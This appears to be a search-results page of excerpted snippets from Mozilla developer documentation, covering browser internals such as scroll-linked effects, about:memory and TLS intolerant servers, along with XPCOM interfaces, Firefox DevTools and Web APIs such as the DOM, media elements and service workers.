linked effects, their effect on performance, related tools, and possible mitigation techniques. scrolling effects explained often scrolling effects are implemented by listening for the scroll event and then updating elements on the page in some way (usually the css position or transform property.) you can find a sampling of such effects at css scroll api: use cases. these effects work well in browsers where the scrolling is done synchronously on the browser's main thread. however, most browsers now support some sort of asynchronous scrolling in order to provide a consistent 60 frames per second experience to the user. in the asynchronous scrolling model, the visual scroll position is updated in the compositor thread and is visible to the user before the scroll event is updated in the dom an...
...00px" onscroll="document.getelementbyid('toolbar').style.top = math.max(100, window.scrolly) + 'px'"> <div id="toolbar" style="position: absolute; top: 100px; width: 100px; height: 20px; background-color: green"></div> </body> this implementation of sticky positioning relies on the scroll event listener to reposition the "toolbar" div. as the scroll event listener runs in the javascript on the browser's main thread, it will be asynchronous relative to the user-visible scrolling. therefore, with asynchronous scrolling, the event handler will be delayed relative to the user-visible scroll, and so the div will not stay visually fixed as intended. instead, it will move with the user's scrolling, and then "snap" back into position when the scroll event handler runs. this constant moving and snapp...
...ct. one way to implement this without the scroll event listener is to use the css property designed for this purpose: <body style="height: 5000px"> <div id="toolbar" style="position: sticky; top: 0px; margin-top: 100px; width: 100px; height: 20px; background-color: green"></div> </body> this version works well with asynchronous scrolling because position of the "toolbar" div is updated by the browser as the user scrolls. example 2: scroll snapping below is an implementation of scroll snapping, where the scroll position snaps to a particular destination when the user's scrolling stops near that destination. <body style="height: 5000px"> <script> function snap(destination) { if (math.abs(destination - window.scrolly) < 3) { scrollto(window.scrollx, destination); ...
...And 3 more matches
about:memory
basis, with one process per section. within each process's measurements, there are the following subsections. explicit allocations this section contains a single tree, called "explicit", that measures all the memory allocated via explicit calls to heap allocation functions (such as malloc and new) and to non-heap allocations functions (such as mmap and virtualalloc). here is an example for a browser session where tabs were open to cnn.com, techcrunch.com, and arstechnica.com. various sub-trees have been expanded and others collapsed for the sake of presentation. 191.89 mb (100.0%) -- explicit ├───63.15 mb (32.91%) -- window-objects │ ├──24.57 mb (12.80%) -- top(http://edition.cnn.com/, id=8) │ │ ├──20.18 mb (10.52%) -- active │ │ │ ├──10.57 m...
...+ dom │ │ │ │ └──0.05 mb (00.02%) ── property-tables │ │ │ └───9.61 mb (05.01%) ++ (18 tiny) │ │ └───4.39 mb (02.29%) -- js-zone(0x7f69425b5800) │ ├──15.75 mb (08.21%) ++ top(http://techcrunch.com/, id=20) │ ├──12.85 mb (06.69%) ++ top(http://arstechnica.com/, id=14) │ ├───6.40 mb (03.33%) ++ top(chrome://browser/content/browser.xul, id=3) │ └───3.59 mb (01.87%) ++ (4 tiny) ├───45.74 mb (23.84%) ++ js-non-window ├───33.73 mb (17.58%) ── heap-unclassified ├───22.51 mb (11.73%) ++ heap-overhead ├────6.62 mb (03.45%) ++ images ├────5.82 mb (03.03%) ++ workers/workers(chrome) ├────5.36 mb (02.80%) ++ (16 tiny) ├────4.07 mb (02.1...
...) ++ startup-cache └────2.16 mb (01.12%) ++ xpconnect some expertise is required to understand the full details here, but there are various things worth pointing out. this "explicit" value at the root of the tree represents all the memory allocated via explicit calls to allocation functions. the "window-objects" sub-tree represents all javascript window objects, which includes the browser tabs and ui windows. for example, the "top(http://edition.cnn.com/, id=8)" sub-tree represents the tab open to cnn.com, and "top(chrome://browser/content/browser.xul, id=3)" represents the main browser ui window. within each window's measurements are sub-trees for javascript ("js-compartment(...)" and "js-zone(...)"), layout, style-sheets, the dom, and other things. it's clear that the cnn.co...
...And 3 more matches
Notes on TLS - SSL 3.0 Intolerant Servers
problem a number of netscape 6.x/7.x and mozilla users have reported that some secure sites -- typically sites featuring online transactions or online banking over the https protocol -- do not display any content at all. the connection seems terminated and a blank page is displayed. this is the main symptom of the problem when mozilla based browsers encounter tls/ssl 3.0 intolerant servers. ...
... technical information the ssl 3.0 and tls (aka ssl 3.1) specs both contain a provision -- the same provision -- for detecting "version rollback attacks". ...
...sl spec-compliant clients. normally the servers which have this problem are not equipped to deal with the tls protocol, but instead of rolling back to ssl 3.0 as the rollback provision provides, they terminate/drop the connection, thus resulting in most cases a blank page display. for up-to-date information, you can read a bugzilla bug report which keeps track of this problem with mozilla-based browsers. see bug 59321. servers currently known to exhibit this intolerant behavior as of this writing, this problem has been reported for the following servers: (wherever there is an upgraded version which fixes the problem, it is indicated by an asterisked remark in the parentheses. ) domino-go-webserver/4.6.2.6 (and perhaps some later versions) ibm_http_server/1.3.6.3 or earlier (* update to ...
...And 3 more matches
Web Replay
ning communication with the chrome process. debugger integration allows the js debugger to read the information it needs from a replaying process and control the process's execution (resume/rewind). the debugger is not allowed to change the replaying process's observable state. record/replay infrastructure broadly, reliable record/replay is achieved by controlling for non-determinism in the browser. this non-determinism originates from two sources: intra-thread and inter-thread. intra-thread non-deterministic behaviors are non-deterministic even in the absence of actions by other threads, and inter-thread non-deterministic behaviors are those affected by interleaving execution with other threads, and which always behave the same given the same interleaving. intra-thread non-determinism...
...nal channel and messages separate from ipdl state. middleman process the middleman is the same as a normal content process, except that it spawns and communicates with the child process, and avoids creating any documents itself. using the middleman provides the following advantages: ipdl communication is greatly simplified. the chrome and middleman processes communicate using the standard browser protocols (pcontent, pbrowser, etc.) and implementations for their actors, while the middleman and child processes communicate with their own channel and messages, which is tuned to the demands of the recording/replaying process. the middleman can perform actions that would be extremely difficult to manage in a replaying process without going out of sync with the recording. this mainly includ...
...he initial release, but should be able to be handled at some point in the future: on x64, asm.js code relies on mprotect to handle out of bounds heap accesses; mprotect works differently while replaying, so some cooperation will be needed between the asm.js exception handler and the dirty memory exception handler. shared array buffers can be used by web content to introduce data races to the browser on the contents of those buffers, going against a fundamental assumption of the record/replay infrastructure. recording and replaying executions using these buffers will require new techniques like treating all accesses on the buffers as atomic (probably unacceptable overhead) or performing all accesses on the buffer on a single core and keeping track of context switches. dom workers are not ...
...And 3 more matches
compare-locales
gathers the directories to compare from a toml file, usually found in $app/locales/l10n.toml. the details of the configuration file are described in the l10n-config docs. you pass the path to the toml file and the parent dir of the localizations as first arguments, followed by the locale codes of the locales you want to compare. ...
...to use a copy of mozilla-central in comm-central, you can run them separately: $ compare-locales -dmozilla=$pwd/mozilla-central comm-central/mail/locales/l10n.toml ./l10n/ zh-tw if you're working on multiple projects in parallel, you can also pass all the toml files to compare-locales at once. to get a single result across the projects, specify the --unified flag: $ compare-locales --unified browser/locales/l10n.toml mobile/android/locales/l10n.toml ./l10n/ de cross-channel and compare-locales if you're working against the gecko-strings cross-channel repository, the toml configuration files are in the _configs subdirectory, browser.toml, mobile_android.toml, mail.toml and calendar.toml, and suite.toml. options to get a brief list of available options, use the --help flag: $ compare-lo...
...gecko-strings cross-channel repository, the toml configuration files are in the _configs subdirectory, browser.toml, mobile_android.toml, mail.toml and calendar.toml, and suite.toml. options to get a brief list of available options, use the --help flag: $ compare-locales --help the output the output of compare-locales shows the missing and obsolete strings in a pseudo-diff format. ...
...And 3 more matches
nsIAppShellService
void createhiddenwindow(in nsiappshell aappshell); native code only! ...
...hell ); parameters aparent the parent window. can be null. aurl the contents of the new window. ashowwindow obsolete since gecko 1.8 the window remains invisible if pr_false. aloaddefaultpage obsolete since gecko 1.8 controls whether the window should try to load a default content page on its own. achromemask chrome flags affecting the kind of os border given to the window. (see nsibrowserwindow for bit/flag definitions). ainitialwidth width, in pixels, of the window. width of window at creation. can be overridden by the "width" tag in the xul. set to ns_sizetocontent to force the window to wrap to its contents. ainitialheight height, in pixels, of the window. height of window at creation. can be overridden by the "height" tag in the xul. set to ns_sizetocontent to force the ...
...lineservice, in boolean caninteract ); parameters acmdlineservice the arguments given to the program. caninteract if false and ui is needed, will fail. ensure1window() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) ensures that at least one window exists after creating the startup state. if one has not been made, this will create a browser window. void ensure1window( in nsicmdlineservice acmdlineservice ); parameters acmdlineservice the command line from which startup args can be read. enterlastwindowclosingsurvivalarea() obsolete since gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) during application startup (and at other times!) we may temporarily encounter a situation where all ...
...And 3 more matches
nsIIOService
he document whose rendering will be affected by the stylesheet. if possible, pass in the element which is performing the load. but if the load is coming from a js api (such as xmlhttprequest) or if the load might be coalesced across multiple elements (such as for ) then pass in the document node instead. for loads that are not related to any document, such as loads coming from addons or internal browser features, use null here. aloadingprincipal the loadingprincipal of the channel. the principal of the document where the result of this request will be used. this defaults to the principal of aloadingnode, so when aloadingnode is passed this can be left as null. however for loads where aloadingnode is null this argument must be passed. for example for loads from a webworker, pass the principal...
...principal of the channel. the principal of the document where the result of this request will be used. this defaults to the principal of aloadingnode, so when aloadingnode is passed this can be left as null. however for loads where aloadingnode is null this argument must be passed. for example for loads from a webworker, pass the principal of that worker. for loads from an addon or from internal browser features, pass the system principal. this principal should almost always be the system principal if aloadingnode is null. the only exception to this is for loads from webworkers since they don't have any nodes to be passed as aloadingnode. please note, aloadingprincipal is *not* the principal of the resource being loaded. but rather the principal of the context where the resource will be used. ...
...ent whose rendering will be affected by the stylesheet. if possible, pass in the element which is performing the load. but if the load is coming from a js api (such as xmlhttprequest) or if the load might be coalesced across multiple elements (such as for <img>) then pass in the document node instead. for loads that are not related to any document, such as loads coming from addons or internal browser features, use null here. aloadingprincipal the loadingprincipal of the channel. the principal of the document where the result of this request will be used. this defaults to the principal of aloadingnode, so when aloadingnode is passed this can be left as null. however for loads where aloadingnode is null this argument must be passed.
...And 3 more matches
nsIWebProgressListener
in the given window. for instance, a load that starts in a window might send progress and status messages for the new site, but it will not send the onlocationchange until we are sure that we are loading this new page here. another example: the loading of a pdf or flash file might not not send onlocationchange if the document is handed off to a third-party tool rather than being loaded into the browser. void onlocationchange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, [optional] in unsigned long aflags ); parameters awebprogress the nsiwebprogress instance that fired the notification. arequest the associated nsirequest. this may be null in some cases. alocation the uri of the location that is being loaded. aflags this is a value which exp...
...a success code even for server generated errors, such as the http 404 file not found error. in such cases, the request itself should be queried for extended error information (for example for http requests see nsihttpchannel. onstatuschange() notification that the status of a request has changed. the status message is intended to be displayed to the user (for example, in the status bar of the browser). void onstatuschange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsresult astatus, in wstring amessage ); parameters awebprogress the nsiwebprogress instance that fired the notification. arequest the nsirequest that has new status. astatus this value is not an error code. instead, it is a numeric value that indicates the current status of the request. this ...
... that has new status. astatus this value is not an error code. instead, it is a numeric value that indicates the current status of the request. this interface does not define the set of possible status codes. note: some status values are defined by nsitransport and nsisockettransport. amessage localized text corresponding to astatus. example the nsiwebprogresslistener for each tab: gbrowser.mtabprogresslistener can be used in the parent to listen for most nsiwebprogresslistener events, but in browser code, will not have access to the nsiwebprogress's domwindow property. see the example below on how to use an nsiwebprogresslistener in a frame script to get access to the dom window. this example here shows you how to detect what flags are popping up where. it puts the messages into...
...And 3 more matches
nsIXPConnect
scontextptr ajscontext, out jsobjectptr aobject ); parameters ajscontext missing description aobject missing description return value missing description exceptions thrown missing exception missing description native code only!getcowforobject obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. wrap a jsval in a chrome object wrapper. jsval getcowforobject( in jscontextptr ajscontext, in jsobjectptr aparent, in jsobjectptr awrappedobj ); parameters ajscontext a context to use to create objects. aparent the parent to create the wrapper with. awrappedobj the object to wrap. return ...
...fo aclassinfo ); parameters ajscontext missing description ascope missing description aclassinfo missing description return value missing description exceptions thrown missing exception missing description native code only!getwrapperforobject obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. returns an xpcnativewrapper, xpcsafejsobjectwrapper, or xpccrossoriginwrapper for the given object based on the principal, scope, and filename flags that are passed in. note: in c++, the out jsval parameter must already be a strong gc root. jsval getwrapperforobject( in jscontextptr ajscontext, in jsob...
...ll be ignored. afilenameflags the filename flags from the script that will use this wrapper. see above (aprincipal) for details. return value missing description exceptions thrown missing exception missing description native code only!getxowforobject obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. wrap a jsval in a cross origin wrapper. jsval getxowforobject( in jscontextptr ajscontext, in jsobjectptr aparent, in jsobjectptr awrappedobj ); parameters ajscontext a context to use to create objects. aparent the parent to create the wrapper with. awrappedobj the object to wrap. return v...
...And 3 more matches
Memory - Plugins
« previousnext » this chapter describes the plug-in api functions that allocate and free memory as needed by the plug-in. because plug-ins share memory space with the browser, they can take advantage of any customized memory-allocation scheme the browser has. browser memory schemes may be more efficient than standard os memory functions, and can give the browser flexibility in the way it manages memory. in addition, the plug-in usually has the option of using its own memory functions. the methods that handle memory belong to the browser group of methods. npn_memalloc allocates memory from the browser's memory space. use this function to allocate memory dynamically. npn_memfree requests that the browser free a specified block of memory. use this function to free memory a...
...as the option of using its own memory functions. the methods that handle memory belong to the browser group of methods. npn_memalloc allocates memory from the browser's memory space. use this function to allocate memory dynamically. npn_memfree requests that the browser free a specified block of memory. use this function to free memory allocated with npn_memalloc. npn_memflush requests the browser to free up a specified amount of memory if not enough is currently available for the plug-in's requirements. allocating and freeing memory to allocate memory and free memory, use these paired functions: npn_memalloc allocates a specified amount of memory in the browser's memory space. npn_memfree deallocates a block of memory allocated using npn_memalloc. the plug-in can call the plug-...
...memalloc allocates a specified amount of memory in the browser's memory space. npn_memfree deallocates a block of memory allocated using npn_memalloc. the plug-in can call the plug-in api npn_memalloc function instead of the standard malloc function to allocate dynamic memory. using npn_memalloc offers several advantages to the plug-in. a call to npn_memalloc is more likely to succeed. the browser may be able to deallocate nonessential memory structures in response to a request. npn_memalloc uses the browser's customized memory-allocation scheme, which is typically faster and causes less fragmentation than the standard os memory functions. ...
...And 3 more matches
Scripting plugins - Plugins
« previousnext » xxx: dummy p element this document describes the new cross-browser npapi extensions, commonly called npruntime, that have been developed by a group of browser and plugin vendors, including the mozilla foundation, adobe, apple, opera, and sun microsystems (see press release). this document also explains how to make a plugin use these new extensions to be scriptable as well as how to access objects in a browser. (a bit of history: npapi plugins that used to take advantage of being scriptable via liveconnect in 4.x netscape browsers lost this possibility in mozilla (due to the jni making the netscape 4.x jri obsolete). as an answer to this large gap in the netscape plugin api, an extension to the api has been developed that lets plugins be scriptable again, ...
... how the dom handles scripting the mozilla dom code now checks if a plugin supports this new scriptability api and if it exposes a scriptable object through this new mechanism. ...
... nppvariable enumeration is defined in npapi.h as: nppvpluginscriptablenpobject = 15 threading model this api is not designed to be thread safe. the threading model for this api is such that all calls through this api are synchronous and calls from a plugin to methods in this api must come from the thread on which the plugin was initiated, and likewise all calls to methods in this api by the browser are guaranteed to come from the same thread. future revisions to this api might provide a mechanism for proxying calls from one thread to another to aid in using this api from other threads. security model the security model for making calls through this api is much like the general same-origin security model enforced by the browser. that means that a script from an origin other than the orig...
...And 3 more matches
Introduction to DOM Inspector - Firefox Developer Tools
m, or it can be used to manipulate the dom by hand, if desired. note: starting with firefox 3, the dom inspector is not included in firefox by default; instead, you must download and install it from the mozilla add-ons web site. (note: this is now a dead link.) when you first start the dom inspector, you are presented with a two-pane application window that looks a little like the main mozilla browser. like the browser, the dom inspector includes an address bar, and some of the same menus. in seamonkey additional global menus will be available. inspecting a document when the dom inspector opens, it may or may not load an associated document, depending on the host application. if the dom inspector doesn't automatically load a document or loads a document other than the one you'd like to i...
... depending on the host application. if the dom inspector doesn't automatically load a document or loads a document other than the one you'd like to inspect, you can select the desired document a few different ways. inspecting content documents the inspect content document menupopup can be accessed from the file menu, and it will list currently loaded content documents. ...
...the dom inspector keeps track of all the windows that are open, so to inspect the dom of a particular window in the dom inspector, simply access that window as you would normally and then choose its title from this dynamically updated menulist. ...
...And 3 more matches
Paint Flashing Tool - Firefox Developer Tools
the paint flashing tool, when activated, highlights the part of a page that the browser needs to repaint in response to some input: for example, the user moving the mouse or scrolling. with the help of this tool you can figure out whether your website is causing the browser to repaint more than it needs to. because repaints can be performance-intensive operations, eliminating unnecessary repaints can improve your website's responsiveness. repaints and responsiveness when the browser renders a web page it parses the html and css, determines how to lay it out, and then paints it to actually display the content on the screen. whenever an event happens that might change a visible part of the web page then the browser must repaint some portion of the page. for example, a repaint will be needed i...
...to actually display the content on the screen. whenever an event happens that might change a visible part of the web page then the browser must repaint some portion of the page. for example, a repaint will be needed if the user scrolls the page or moves the mouse pointer over an element with a :hover pseudo-class that changes the element's style. repainting can be an expensive operation, so the browser tries to minimise the amount of repainting that it needs to do. it tries to work out which parts of the screen are "damaged" and repaint only those. the browser also splits its model of the page into layers that it expects will be updated independently of each other. layers are painted independently and then composited, so a change in the appearance of one layer does not trigger a repaint in an...
...del of the page into layers that it expects will be updated independently of each other. layers are painted independently and then composited, so a change in the appearance of one layer does not trigger a repaint in any other layers, and when only the relation of two layers changes (in an animation, for example) no repaints are required at all. the choices made by a web developer can hinder the browser here, causing it to trigger more repaints, and for more of the screen, than necessary. this can then cause a site to be slow responding to user input (also known as "janky"). that's where the paint flashing tool helps: by showing you the areas that the browser repaints in response to an event, you can see whether it is repainting more than it needs to. using the paint flashing tool open the t...
...And 3 more matches
Call Tree - Firefox Developer Tools
in this article, we'll use the output of a simple program as an example. ...
... in this article, we'll use the output of a simple program as an example. ...
...t of time. these bottlenecks are the places where any optimizations you can make will have the biggest impact. the call tree is a sampling profiler. it periodically samples the state of the javascript engine and records the stack for the code executing at the time. statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser spent executing it. in this article, we'll use the output of a simple program as an example. if you want to get the program to experiment with your profile, you can find it here. you can find the specific profile we discuss here - just import it to the performance tool to follow along. there's a short page describing the structure of this program here. note that we use the same program - th...
...And 3 more matches
Responsive Design Mode - Firefox Developer Tools
es (starting in firefox 79) translating a mouse-drag event into a touch-drag event. (note that when touch simulation is enabled, this toolbar icon is blue; when simulation is disabled, it is black. ...
... blue; when simulation is disabled, it is black. on the right end of the screen, three buttons allow you to: camera button - take a screenshot settings button - opens the rdm settings menu close button - closes rdm mode and returns to regular browsing the settings menu includes the following commands: left-align viewport - when checked moves the rdm viewport to the left side of the browser window show user agent - when checked displays the user agent string the final two options define when the page is reloaded: reload when touch simulation is toggled: when this option is enabled, the page is reloaded whenever you toggle touch support. reload when user agent is changed: when this option is enabled, the page isreloaded whenever the user agent is changed. reloadin...
...e touch support. reload when user agent is changed: when this option is enabled, the page isreloaded whenever the user agent is changed. reloading on these changes can be helpful because certain page behaviors would otherwise not be applied. for example, many pages check for touch support on load and only add event handlers if it is supported, or only enable certain features on certain browsers. however, if you are not interested in examining such features (maybe you are just checking the overall layout at different sizes), these reloads can waste time and possibly result in the loss of productive work, so it is useful to be able to control these reloads. now when you change such settings for the first time, you are given a warning message that tells you these reloads are no longer...
...And 3 more matches
Firefox Developer Tools
firefox developer tools is a set of web developer tools built into firefox. you can use them to examine, edit, and debug html, css, and javascript. this section contains detailed guides to all of the tools as well as information on how to debug firefox for android, how to extend devtools, and how to debug the browser as a whole. if you have any feedback on devtools, or want to contribute to the project, you can join the devtools community. note: if you are just getting started with web development and using developer tools, our learning docs will help you — see getting started with the web and what are browser developer tools? for good starting points. the core tools you can open the firefox developer tools from the menu by selecting tools > web developer > toggle tools or use the ke...
...ge for the latest developer tools and features, try firefox developer edition. download firefox developer edition connecting the developer tools if you open the developer tools using keyboard shortcuts or the equivalent menu items, they'll target the document hosted by the currently active tab. ...
...developer tools and features, try firefox developer edition. download firefox developer edition connecting the developer tools if you open the developer tools using keyboard shortcuts or the equivalent menu items, they'll target the document hosted by the currently active tab. ...
...And 3 more matches
Introduction to the DOM - Web APIs
applications. what is the dom? the document object model (dom) is a programming interface for html and xml documents. it represents the page so that programs can change the document structure, style, and content. the dom represents the document as nodes and objects. that way, programming languages can connect to the page. a web page is a document. ...
...can be either displayed in the browser window or as the html source. but it is the same document in both cases. the document object model (dom) represents that same document so it can be manipulated. the dom is an object-oriented representation of the web page, which can be modified with a scripting language such as javascript. the w3c dom and whatwg dom standards are implemented in most modern browsers. many browsers extend the standard, so care must be exercised when using them on the web where documents may be accessed by various browsers with different doms. for example, the standard dom specifies that the getelementsbytagname method in the code below must return a list of all the <p> elements in the document: const paragraphs = document.getelementsbytagname("p"); // paragraphs[0] is th...
...ython dom example import xml.dom.minidom as m doc = m.parse(r"c:\projects\py\chap1.xml") doc.nodename # dom property of document object p_list = doc.getelementsbytagname("para") for more information on what technologies are involved in writing javascript on the web, see javascript technologies overview. accessing the dom you don't have to do anything special to begin using the dom. different browsers have different implementations of the dom, and these implementations exhibit varying degrees of conformance to the actual dom standard (a subject we try to avoid in this documentation), but every web browser uses some document object model to make web pages accessible via javascript. when you create a script–whether it's inline in a <script> element or included in the web page by means of a...
...And 3 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
d — whitespace in between words is treated as a single character, and whitespace at the start and end of elements and outside elements is ignored. take the following minimal example: <!doctype html> <h1> hello world! </h1> this source code contains a couple of line feeds after the doctype and a bunch of space characters before, after, and inside the <h1> element, but the browser doesn’t seem to care at all and just shows the words "hello world!" as if these characters didn’t exist at all: this is so that whitespace characters don't impact the layout of your page. creating space around and inside elements is the job of css. what does happen to whitespace? they don't just disappear, however. any whitespace characters that are outside of html elements in the ori...
... this makes certain layouts more difficult to implement, and causes problems for developers who want to iterate through nodes in the dom. we'll look at these, and some solutions, later on. how does css process whitespace? most whitespace characters are ignored, not all of them are. in the earlier example one of the spaces between "hello" and "world!" still exists when the page is rendered in a browser. there are rules in the browser engine that decide which whitespace characters are useful and which aren’t — these are specified at least in part in css text module level 3, and especially the parts about the css white-space property and whitespace processing details, but we also offer an easier explanation below. let’s take another really simple example. to make it easier, we’ve illus...
...cially the parts about the css white-space property and whitespace processing details, but we also offer an easier explanation below. let’s take another really simple example. to make it easier, we’ve illustrated all spaces with ◦, all tabs with ⇥ , and all line breaks with ⏎: this example: <h1>◦◦◦hello◦⏎ ⇥⇥⇥⇥<span>◦world!</span>⇥◦◦</h1> is rendered in the browser like so: hidden example <h1> hello <span> world!</span> </h1> the <h1> element contains only inline elements. in fact it contains: a text node (consisting of some spaces, the word "hello" and some tabs). an inline element (the <span>, which contains a space, and the word "world!"). another text node (consisting only of tabs and spaces). because of this, it establishes what...
...And 3 more matches
Using the Frame Timing API - Web APIs
an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of each frame event. this data can be used to help identify areas that take too long to provide a good user experience. ...
... an application can register a performanceobserver for "frame" performance entry types and the observer will have data about the duration of each frame event. this data can be used to help identify areas that take too long to provide a good user experience. ...
...reas that take too long to provide a good user experience. this document describes how to use the performanceframetiming interfaces including example code. for an overview of these interfaces see frame timing api. frame observers the performance observer interfaces allow an application to register an observer for specific performance event types. when one of those event types is added to the browser's performance timeline, the application is notified of the event via the observer's callback function that was specified when the observer was created. creating an observer to observe "frame" performance entry types, the application first creates a performanceobserver object with a specific frame observer callback. in the following example, two observers for the "frame" performance entry type...
...And 3 more matches
HTMLInputElement - Web APIs
ment. this overrides the action attribute of the parent form. formenctype string: returns / sets the element's formenctype attribute, containing the type of content that is used to submit the form to the server. this overrides the enctype attribute of the parent form. formmethod string: returns / sets the element's formmethod attribute, containing the http method that the browser uses to submit the form. this overrides the method attribute of the parent form. formnovalidate boolean: returns / sets the element's formnovalidate attribute, indicating that the form is not to be validated when it is submitted. this overrides the novalidate attribute of the parent form. formtarget string: returns / sets the element's formtarget attribute, containing a ...
...ly accepts directories instead of files. webkitentries array of filesystementry objects: describes the currently selected files or directories. ...
...properties that apply only to text/number-containing or elements autocomplete string: returns / sets the element's autocomplete attribute, indicating whether the value of the control can be automatically completed by the browser. ignored if the value of the type attribute is hidden, checkbox, radio, file, or a button type (button, submit, reset, image). possible values are: on: the browser can autocomplete the value using previously stored value off: the user must explicity enter a value max string: returns / sets the element's max attribute, containing the maximum (numeric or date-time) value for this item, which must not be less than its minimum (min attribute) value. maxlength long: returns / sets the element's maxlength attribute, containing the max...
...And 3 more matches
HTMLMediaElement - Web APIs
ml attribute, indicating whether playback should automatically begin as soon as enough media is available to do so without interruption. note: automatically playing audio when the user doesn't expect or desire it is a poor user experience and should be avoided in most cases, though there are exceptions. see the autoplay guide for media and web audio apis for more information. keep in mind that browsers may ignore autoplay requests, so you should ensure that your code isn't dependent on autoplay working. htmlmediaelement.buffered read only returns a timeranges object that indicates the ranges of the media source that the browser has buffered (if any) at the moment the buffered property is accessed. htmlmediaelement.controller is a mediacontroller object that represents the media contro...
...ating the current state of fetching the media over the network. htmlmediaelement.paused read only returns a boolean that indicates whether the media element is paused. htmlmediaelement.playbackrate is a double that indicates the rate at which the media is being played back. htmlmediaelement.played read only returns a timeranges object that contains the ranges of the media source that the browser has played, if any. htmlmediaelement.preload is a domstring that reflects the preload html attribute, indicating what data should be preloaded, if any. possible values are: none, metadata, auto. htmlmediaelement.preservespitch is a boolean that determines if the pitch of the sound will be preserved. if set to false, the pitch will adjust to the speed of the audio. this is implemented with...
... is a double indicating the audio volume, from 0.0 (silent) to 1.0 (loudest). event handlers htmlmediaelement.onencrypted sets the eventhandler called when the media is encrypted. htmlmediaelement.onwaitingforkey sets the eventhandler called when playback is blocked while waiting for an encryption key. obsolete attributes these attributes are obsolete and should not be used, even if a browser still supports them. htmlmediaelement.initialtime read only returns a double that indicates the initial playback position in seconds. htmlmediaelement.mozchannels read only returns a double representing the number of channels in the audio resource (e.g., 2 for stereo). obsolete event handlers htmlmediaelement.onmozinterruptbegin sets the eventhandler called when the me...
...And 3 more matches
Timing element visibility with the Intersection Observer API - Web APIs
t one of the most common uses of flash or other script in advertising on the web is to record how long each ad is visible, for the purpose of billing and payment of revenues. without the intersection observer api, this winds up being done using intervals and timeouts for each individual ad, or other techniques that tend to slow the page down. using this api lets everything get streamlined by the browser to reduce the impact on performance substantially. let's get started! site structure: the html the site's structure is not too complicated. we'll be using css grid to style and lay out the site, so we can be pretty straightforward here: <div class="wrapper"> <header> <h1>a fake blog</h1> <h2>showing intersection observer in action!</h2> </header> <aside> <nav> <ul>...
...nt of the page individually. the basics we provide styles for the <body> and <main> elements to define the site's background as well as the grid the various parts of the site will be placed in. body { font-family: "open sans", "arial", "helvetica", sans-serif; background-color: aliceblue; } .wrapper { display: grid; grid-template-columns: auto minmax(min-content, 1fr); grid-template-rows: auto minmax(min-content, 1fr); max-width: 700px; margin: 0 auto; background-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color. then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads). the wrapper establishes a c...
... max-width: 700px; margin: 0 auto; background-color: aliceblue; } the site's <body> is configured here to use one of a number of common sans-serif fonts, and to use "aliceblue" as the background color. then the "wrapper" class is defined; it wraps the entire blog, including the header, sidebar, and body content (articles and ads). the wrapper establishes a css grid with two columns and two rows. ...
...And 3 more matches
Page Visibility API - Web APIs
the page visibility api provides events you can watch for to know when a document becomes visible or hidden, as well as features to look at the current visibility state of the page. notes: the page visibility api is especially useful for saving resources and improving performance by letting a page avoid performing unnecessary tasks when the document isn't visible. when the user minimizes the window or switches to another tab, the api sends a visibilitychange event to let listeners know the state of the page has changed. you can detect the event and perform some actions or behave differently. ...
...hing for blur and focus events on the window helps you know when your page is not the active page, but it does not tell you that your page is actually hidden to the user. the page visibility api addresses this. note: while onblur and onfocus will tell you if the user switches windows, it doesn't necessarily mean it's hidden. ...
...ndows, it doesn't necessarily mean it's hidden. pages only become hidden when the user switches tabs or minimizes the browser window containing the tab. policies in place to aid background page performance separately from the page visibility api, user agents typically have a number of policies in place to mitigate the performance impact of background or hidden tabs. these may include: most browsers stop sending requestanimationframe() callbacks to background tabs or hidden <iframe>s in order to improve performance and battery life. timers such as settimeout() are throttled in background/inactive tabs to help improve performance. ...
...And 3 more matches
Service Worker API - Web APIs
they are intended, among other things, to enable the creation of effective offline experiences, intercept network requests and take appropriate action based on whether the network is available, and update assets residing on the server. they will also allow access to push notifications and background sync apis. service worker concepts and usage a service worker is an event-driven worker registered against an origin and a path. ...
...on-blocking. it is designed to be fully async; as a consequence, apis such as synchronous xhr and localstorage can't be used inside a service worker. service workers only run over https, for security reasons. having modified network requests, wide open to man in the middle attacks would be really bad. in firefox, service worker apis are also hidden and cannot be used when the user is in private browsing mode. note: service workers win over previous attempts in this area such as; appcache because they don't make assumptions about what you are trying to do, and then break when those assumptions are not exactly right; you have granular control over everything. note: service workers make heavy use of promises, as generally they will wait for responses to come through, after which they will r...
...object pairs that are cached as part of the serviceworker life cycle. cachestorage represents the storage for cache objects. it provides a master directory of all the named caches that a serviceworker can access, and maintains a mapping of string names to corresponding cache objects. client represents the scope of a service worker client. a service worker client is either a document in a browser context or a sharedworker, which is controlled by an active worker. clients represents a container for a list of client objects; the main way to access the active service worker clients at the current origin. extendableevent extends the lifetime of the install and activate events dispatched on the serviceworkerglobalscope, as part of the service worker lifecycle. this ensures that any f...
...And 3 more matches
TextRange - Web APIs
Web › API › TextRange
a textrange object represents a fragment of text in a document, similar to the standard defined range interface. this object is used to represent a specific piece of text in the document. for example, when you hold down the mouse to select the content on the page, you create a typical textrange. ...
... a textrange object represents a fragment of text in a document, similar to the standard defined range interface. this object is used to represent a specific piece of text in the document. for example, when you hold down the mouse to select the content on the page, you create a typical textrange. ...
